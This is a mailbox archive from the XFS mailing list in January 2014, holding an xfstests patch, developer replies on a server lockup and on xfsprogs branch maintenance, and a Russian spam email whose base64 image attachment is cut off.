[<ffffffffa035bd06>] ? xfs_end_io+0x86/0x100 [xfs] Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff8109a6ac>] ? worker_thread+0x21c/0x3d0 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff8109a65b>] ? worker_thread+0x1cb/0x3d0 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff810a1280>] ? autoremove_wake_function+0x0/0x40 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff8109a490>] ? worker_thread+0x0/0x3d0 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff810a0ef6>] ? kthread+0x96/0xa0 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff8100c30a>] ? child_rip+0xa/0x20 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff8100bb10>] ? restore_args+0x0/0x30 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff810a0e60>] ? kthread+0x0/0xa0 Jan 27 08:04:40 dw-prod-4 kernel: [<ffffffff8100c300>] ? child_rip+0x0/0x20 From prvs=7105c7d705=jbacik@fb.com Tue Jan 28 12:40:39 2014 Return-Path: <prvs=7105c7d705=jbacik@fb.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CC88A7FA0 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 12:40:39 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A10868F8064 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 10:40:39 -0800 (PST) X-ASG-Debug-ID: 1390934438-04cb6c75081a6f00001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id 1qjU6Rhi78G9DShj for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 10:40:38 -0800 (PST) X-Barracuda-Envelope-From: prvs=7105c7d705=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s0SIceji004462; Tue, 28 Jan 2014 10:40:38 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=from : to : subject : date : message-id : mime-version : content-type; s=facebook; bh=cTykMkAnGYA2xpWuATldeh4Zm4KpAIsWosPanVWTTbo=; b=MQ82qKwi2SEc4WftFjjTqJC/tMnB2I0NTByWu0DHNhIdMvH/KUR7GLky9zXNQO2Ss7Gu aIN8ymvAIvFzsW/FS+kJAblFE/sM3RD5KqJeJGI1LuqluqU4d9xLR2eSo6PedWDV5GP9 jn4rPU2/Uu3V95LUTY9cNIt3ZFuUSQdhqw4= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1hphp182pu-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Tue, 28 Jan 2014 10:40:37 -0800 Received: from localhost (192.168.57.29) by mail.TheFacebook.com (192.168.16.17) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 28 Jan 2014 10:40:35 -0800 From: Josef Bacik <jbacik@fb.com> To: <linux-btrfs@vger.kernel.org>, <xfs@oss.sgi.com> Subject: [PATCH] xfstests: change btrfs/029's golden output and it's filtering Date: Tue, 28 Jan 2014 13:40:33 -0500 X-ASG-Orig-Subj: [PATCH] xfstests: change btrfs/029's golden output and it's filtering Message-ID: <1390934433-22299-1-git-send-email-jbacik@fb.com> X-Mailer: git-send-email 1.8.3.1 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-28_07:2014-01-28,2014-01-28,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=9.18634911251104e-07 kscore.compositescore=0 circleOfTrustscore=214.586322024494 compositescore=0.999738115633958 urlsuspect_oldscore=0.999738115633958 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999738115633958 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401280112 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1390934438 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 I noticed while testing a different mkfs option that btrfs/029 was failing because it was getting the extra output from our mkfs.btrfs. After I fixed that I was still failing because my version of cp will spit out the source and destination files, not just the destination file. So redirect _scratch_mkfs to /dev/null like everybody does and make the golden output just expect to see "cp failed" instead of the cp specific output. Thanks, Signed-off-by: Josef Bacik <jbacik@fb.com> --- tests/btrfs/029 | 6 +++--- tests/btrfs/029.out | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/tests/btrfs/029 b/tests/btrfs/029 index b93b6df..80c05e3 100644 --- a/tests/btrfs/029 +++ b/tests/btrfs/029 @@ -66,7 +66,7 @@ mkdir $SOURCE_DIR rm -f $seqres.full -_scratch_mkfs +_scratch_mkfs > /dev/null 2>&1 $XFS_IO_PROG -f -c 'pwrite -S 0x61 0 9000' $SOURCE_DIR/original \ >> $seqres.full @@ -87,8 +87,8 @@ _create_reflinks_to() # always reflink, should fail outright rm -rf $1; mkdir $1 echo "reflink=always:" - cp --reflink=always $SOURCE_DIR/original $1/copyfail \ - 2>&1 | _filter_testdirs + cp --reflink=always $SOURCE_DIR/original $1/copyfail > $seqres.full 2>&1 \ + || echo "cp reflink failed" # The failed target actually gets created by cp: ls $1/copyfail | _filter_testdirs diff --git a/tests/btrfs/029.out b/tests/btrfs/029.out index 655c081..9390d95 100644 --- a/tests/btrfs/029.out +++ b/tests/btrfs/029.out @@ -4,12 +4,12 @@ reflink=auto: 42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-029/original 42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-029/copy reflink=always: -cp: failed to clone 'SCRATCH_MNT/test-029/copyfail': Invalid cross-device link +cp reflink failed SCRATCH_MNT/test-029/copyfail test reflinks across different mountpoints of same device reflink=auto: 42d69d1a6d333a7ebdf64792a555e392 TEST_DIR/test-029/original 42d69d1a6d333a7ebdf64792a555e392 SCRATCH_MNT/test-bis-029/copy reflink=always: -cp: failed to clone 'SCRATCH_MNT/test-bis-029/copyfail': Invalid cross-device link +cp reflink failed SCRATCH_MNT/test-bis-029/copyfail -- 1.8.3.1 From david@fromorbit.com Tue Jan 28 14:06:11 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 51E5C7F9A for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 14:06:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 349798F8037 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 12:06:08 -0800 (PST) X-ASG-Debug-ID: 1390939555-04bdf030eb1d7080001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id d0j10rHhPsxy8VAH for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 12:05:56 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aq4JAIMM6FJ5LGaB/2dsb2JhbABagwyDObRvhVCBEBd0giUBAQEDAQ4sHA8UBQsIAxgJJQ8FJQMhE4d9B8oHFxaOaQeEOASFLZJ6jDyFZINBKA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 29 Jan 2014 06:35:53 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W8Eur-0001PP-M3; Wed, 29 Jan 2014 07:05:49 +1100 Date: Wed, 29 Jan 2014 07:05:49 +1100 From: Dave Chinner <david@fromorbit.com> To: Max Veprinsky <max.veprinsky@livetext.com> Cc: xfs@oss.sgi.com Subject: Re: server lock ups maybe XFS related - BUG: bad unlock balance detected! Message-ID: <20140128200549.GK2212@dastard> X-ASG-Orig-Subj: Re: server lock ups maybe XFS related - BUG: bad unlock balance detected! References: <CAGoO68jx6XgyEX3=GXy2icm0Ze65i_T4nVSv0ito8Kz6hP_jWg@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <CAGoO68jx6XgyEX3=GXy2icm0Ze65i_T4nVSv0ito8Kz6hP_jWg@mail.gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1390939555 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144574 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 28, 2014 at 12:32:28PM -0600, Max Veprinsky wrote: > Hello everybody! > > First time called, first time listener looking for help. > In the past couple of months a Dell R900 has been locking up what > seems to be at random intervals. This time the messages log has > captured something that maybe of use to help sort out the issue, of > course it could be not related at all. Lockdep output is unrelated to the hang. The XFS code in that kernel is missing an annotation in the code to silence the lockdep warning. > The server did not lockup until Jan 28 11:20 What does sysrq-w tell you when it locks up? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jan 28 14:15:10 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4A5E47F9E for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 14:15:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 257CA304039 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 12:15:10 -0800 (PST) X-ASG-Debug-ID: 1390940105-04cb6c75081ad840001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id RcNma2McXPsYjK0U for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 12:15:06 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aq4JAKYO6FJ5LGaB/2dsb2JhbABagwyDObRwhVCBEBd0giUBAQEEMgEjIxAIAw4IAQEJJQ8FJQMTDhOIBMoHFxaOaQeEOASYJ5Igg0Eo Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 29 Jan 2014 06:45:04 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W8F3o-0001QF-11; Wed, 29 Jan 2014 07:15:04 +1100 Date: Wed, 29 Jan 2014 07:15:04 +1100 From: Dave Chinner <david@fromorbit.com> To: Rich Johnston <rjohnston@sgi.com> Cc: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= <arekm@maven.pl>, xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 Message-ID: <20140128201503.GL2212@dastard> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <20140128044216.GI2212@dastard> <52E7CDBA.5000709@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <52E7CDBA.5000709@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1390940105 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144574 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 28, 2014 at 09:33:14AM -0600, Rich Johnston wrote: > On 01/27/2014 10:42 PM, Dave Chinner wrote: > >On Mon, Jan 27, 2014 at 12:46:58PM -0600, Rich Johnston wrote: > >>Arkadiusz, > >> > >>Thanks for compiling the list. > >> > >>The for-3.1.12 Branch created from "a547280... 3.1.11 release" > >> > >>If there are others you want committed, please let me know. > >> > >>Thanks > >>--Rich > >> > >> > >>The following have been committed from the candidate list > >>provided by Arkadiusz: > >> > >> > >>40c65a7... xfs_metadump: Make -F (force) optional > >>ec3a1f1... xfs_repair: suggest reboot after dangerous repair > >>8660952... xfsprogs: suggest "-d" option for repair of RO mount > >>5a8206c... xfs_repair: correct docs for "-t" units > >>0d5c444... xfs_fsr: fix SWAPEXT failures under selinux > >>f3d3dae... libxfs: fix root inode handling inconsistencies > > > >Introduces this compiler warning in db/init.c: > > > >init.c: In function init: > >init.c:152:3: warning: implicit declaration of function xfs_initialize_perag_data [-Wimplicit-function-declaration] > > > > > >>cf507b6... xfsprogs: remove xfs_check references from fsck.xfs > >>script & manpage > >>6e2f2d1... xfsprogs: fix resource leak in longform_dir2_rebuild() > >>ecde3f9... xfs_repair: test for bad level in dir2 node > >>d299df7... xfs_repair: avoid segfault if reporting progress early in repair > >>e660c2e... Sent: Friday, October 11, 2013 12:38:11 AM Subject: > >>Bug#725971: xfsprogs: config.guess/config.sub out of date for arm64 > >>5e1c7ac... xfsprogs: handle symlinks etc in fs_table_initialise_mounts() > >>aba6204... xfsprogs: fix return value of verify_set_primary_sb() > >>a2ea195... xfsprogs: fix potential memory leak in verify_set_primary_sb() > >>3e53939... xfsprogs: fix potential memory leak in repare/sb.c > >>820b8c2... xfsprogs: avoid array overflow in pf_batch_read() > >>2a1dcdb... xfs_repair: zero out unused parts of superblocks > >>982508b... xfsprogs: fix inode crash in xfs_repair > > > >Introduces this compiler warning in repair/phase6.c: > > > >phase6.c: In function mk_orphanage: > >phase6.c:895:3: warning: implicit declaration of function alloc_ex_data [-Wimplicit-function-declaration] > > > >Running some smoke testing on the branch now. Rich, I expect that > >you'll be doing some in-depth functionality, scalability and stress > >testing of the branch over the next week or two? > > I will do *some* testing yes. This is more for those who are > interested in this branch. I do not plan on using it myself. I put > it out there for those interested in a 3.1.12 release. You're acting as the maintainer of this branch, so it's primarily your responsibility to make sure it works. That means you need to ensure that it is fully tested and that when bugs and problems are supported you respond to them, triage them and fix them. It doesn't matter if you intend to use the branch or not - you signed up to do this for the XFS users that were asking for it and that means you need to ensure the quality of the release is acceptible. Being a maintainer is more than being allowed to commit patches to a repository. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Jan 28 14:17:39 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AD86F7CBE for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 14:17:39 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8B660304064 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 12:17:39 -0800 (PST) X-ASG-Debug-ID: 1390940257-04cbb05ba91c80d0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 4iuT4g6pXFFB73jP for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 12:17:37 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aq4JAAoQ6FJ5LGaB/2dsb2JhbABagwyDObRwhVCBEBd0giUBAQEEOhwjEAgDDggBAQklDwUlAxMOE4gEygkXFo5pB4Q4BJgnkiCDQSiBLCQ Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail05.adl6.internode.on.net with ESMTP; 29 Jan 2014 06:47:20 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W8F5z-0001Qu-K6; Wed, 29 Jan 2014 07:17:19 +1100 Date: Wed, 29 Jan 2014 07:17:19 +1100 From: Dave Chinner <david@fromorbit.com> To: Rich Johnston <rjohnston@sgi.com> Cc: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= <arekm@maven.pl>, xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 Message-ID: <20140128201719.GM2212@dastard> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <20140128042024.GH2212@dastard> <52E7CE68.6030207@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E7CE68.6030207@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1390940257 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144574 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 28, 2014 at 09:36:08AM -0600, Rich Johnston wrote: > > > On 01/27/2014 10:20 PM, Dave Chinner wrote: > >On Mon, Jan 27, 2014 at 12:46:58PM -0600, Rich Johnston wrote: > >>Arkadiusz, > >> > >>Thanks for compiling the list. > >> > >>The for-3.1.12 Branch created from "a547280... 3.1.11 release" > >> > >>If there are others you want committed, please let me know. > > > >What testing have you done on the branch? > > Just a quick test. I wanted to get it out for others who are > interested in this branch to start testing. > > > > >>40c65a7... xfs_metadump: Make -F (force) optional > >>ec3a1f1... xfs_repair: suggest reboot after dangerous repair > >>8660952... xfsprogs: suggest "-d" option for repair of RO mount > >>5a8206c... xfs_repair: correct docs for "-t" units > >>0d5c444... xfs_fsr: fix SWAPEXT failures under selinux > >>f3d3dae... libxfs: fix root inode handling inconsistencies > >>cf507b6... xfsprogs: remove xfs_check references from fsck.xfs > >>script & manpage > >>6e2f2d1... xfsprogs: fix resource leak in longform_dir2_rebuild() > >>ecde3f9... xfs_repair: test for bad level in dir2 node > >>d299df7... xfs_repair: avoid segfault if reporting progress early in repair > >>e660c2e... Sent: Friday, October 11, 2013 12:38:11 AM Subject: > >>Bug#725971: xfsprogs: config.guess/config.sub out of date for arm64 > > > >Can you fix the subject line of this commit, please? > > Sorry I missed that. > > I can, but a git rebase --interactive e660c2e^ will change the > commit ids after it. Is there another way to do this that does not > change the commit ids? Just rebase it - it's a test branch. In future, you might want to use a temporary branch for posting "work in progress" like this so that it's clear that it is a work in progress... Cheers, Dave. -- Dave Chinner david@fromorbit.com From luke@optonline.net Tue Jan 28 15:41:09 2014 Return-Path: <luke@optonline.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.7 required=5.0 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD,SB_GIF_AND_NO_URIS autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 02EBC7FA5 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 15:41:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6878CAC00B for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 13:41:08 -0800 (PST) X-ASG-Debug-ID: 1390945265-04cbb05bac1ca950001-NocioJ Received: from izero.ru (vps.node62.doloremipsum.com [46.38.62.60]) by cuda.sgi.com with SMTP id Sn0aUqVmJL25xm4Y for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 13:41:05 -0800 (PST) X-Barracuda-Envelope-From: luke@optonline.net X-Barracuda-Apparent-Source-IP: 46.38.62.60 Received: from Unknown (974976.vps-10.com [46.32.225.140]) by izero.ru ; Wed, 29 Jan 2014 00:41:03 +0300 Message-ID: <74F92241A54E496FB64366C570361AEE@lyxv> Reply-To: =?windows-1251?B?08/QwMLLxc3IxSDPziDUyM3AzdHAzA==?= <evan@rcn.com> From: =?windows-1251?B?08/QwMLLxc3IxSDPziDUyM3AzdHAzA==?= <luke@optonline.net> To: <help@alekcandr93.narod.ru>, <romss74@mail.ru>, <anatolii@invoservice.spb.ru>, <xfs@oss.sgi.com> Subject: =?windows-1251?B?0ejx8uXs4CDz7/Dg4uvl7ej/IPTo7eDt8eDs?= =?windows-1251?B?6CDq7uzv4O3o6A==?= Date: Tue, 28 Jan 2014 22:41:24 +0100 X-ASG-Orig-Subj: =?windows-1251?B?0ejx8uXs4CDz7/Dg4uvl7ej/IPTo7eDt8eDs?= =?windows-1251?B?6CDq7uzv4O3o6A==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_25D1_01CF1C7A.12ABA3A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Barracuda-Connect: vps.node62.doloremipsum.com[46.38.62.60] X-Barracuda-Start-Time: 1390945265 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.26 X-Barracuda-Spam-Status: No, SCORE=1.26 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD, SB_GIF_AND_NO_URIS X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144578 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message 1.26 SB_GIF_AND_NO_URIS SB_GIF_AND_NO_URIS This is a multi-part message in MIME format. ------=_NextPart_000_25D1_01CF1C7A.12ABA3A0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_25D2_01CF1C7A.12ABA3A0" ------=_NextPart_001_25D2_01CF1C7A.12ABA3A0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D4=E8=ED=E0=ED=F1=EE=E2=FB=E5 =EF=EE=EA=E0=E7=E0=F2=E5=EB=E8 =F3=F1=EF=E5= =F8=ED=EE=F1=F2=E8 =EA=EE=EC=EF=E0=ED=E8=E8 ------=_NextPart_001_25D2_01CF1C7A.12ABA3A0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Dwindows-1251" http-equiv=3DContent-= Type> <META name=3DGENERATOR content=3D"MSHTML 8.00.6001.19154"> <BODY> <DIV>=D4=E8=ED=E0=ED=F1=EE=E2=FB=E5 =EF=EE=EA=E0=E7=E0=F2=E5=EB=E8 =F3=F1= =EF=E5=F8=ED=EE=F1=F2=E8 =EA=EE=EC=EF=E0=ED=E8=E8</DIV></BODY></HTML> ------=_NextPart_001_25D2_01CF1C7A.12ABA3A0-- ------=_NextPart_000_25D1_01CF1C7A.12ABA3A0 Content-Type: image/gif; name="=?windows-1251?B?1Ojt4O3x7uL76SDs5e3l5Obs5e3yLmdpZg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?1Ojt4O3x7uL76SDs5e3l5Obs5e3yLmdpZg==?=" R0lGODlhUwJKA/cAAAAAAAAAMwAAZgAAmQAAzAAA/wArAAArMwArZgArmQArzAAr/wBVAABVMwBV ZgBVmQBVzABV/wCAAACAMwCAZgCAmQCAzACA/wCqAACqMwCqZgCqmQCqzACq/wDVAADVMwDVZgDV mQDVzADV/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMrADMrMzMrZjMrmTMr zDMr/zNVADNVMzNVZjNVmTNVzDNV/zOAADOAMzOAZjOAmTOAzDOA/zOqADOqMzOqZjOqmTOqzDOq /zPVADPVMzPVZjPVmTPVzDPV/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2Yr AGYrM2YrZmYrmWYrzGYr/2ZVAGZVM2ZVZmZVmWZVzGZV/2aAAGaAM2aAZmaAmWaAzGaA/2aqAGaq M2aqZmaqmWaqzGaq/2bVAGbVM2bVZmbVmWbVzGbV/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kA ZpkAmZkAzJkA/5krAJkrM5krZpkrmZkrzJkr/5lVAJlVM5lVZplVmZlVzJlV/5mAAJmAM5mAZpmA mZmAzJmA/5mqAJmqM5mqZpmqmZmqzJmq/5nVAJnVM5nVZpnVmZnVzJnV/5n/AJn/M5n/Zpn/mZn/ zJn//8wAAMwAM8wAZswAmcwAzMwA/8wrAMwrM8wrZswrmcwrzMwr/8xVAMxVM8xVZsxVmcxVzMxV /8yAAMyAM8yAZsyAmcyAzMyA/8yqAMyqM8yqZsyqmcyqzMyq/8zVAMzVM8zVZszVmczVzMzV/8z/ AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8rAP8rM/8rZv8rmf8rzP8r//9VAP9V M/9VZv9Vmf9VzP9V//+AAP+AM/+AZv+Amf+AzP+A//+qAP+qM/+qZv+qmf+qzP+q///VAP/VM//V Zv/Vmf/VzP/V////AP//M///Zv//mf//zP///wAAAAAAAAAAAAAAACH5BAEAAPwALAAAAABTAkoD AAitAPcJHEiwoMGDCBMqXMiwocOHECNKnEixosWLGDNq3Mixo8ePIEOKHEmypMmTKFOqXMmypcuX MGPKnEmzps2bOHPq3Mmzp8+fQIMKHUq0qNGjSJMqXcq0qdOnUKNKnUq1qtWrWLNq3cq1q9evYMOK HUu2rNmzaNOqXcu2rdu3cOPKnUu3rt27ePPq3cu3r9+/gAMLHky4sOHDiBMrXsy4sePHkCNLnky5 suXLmDPka97MubPnz6BDix5NurTp06hTq17NurXAGANhv3ZNu/bOGLgFGpC927bv3zJ3G9iHO8bu 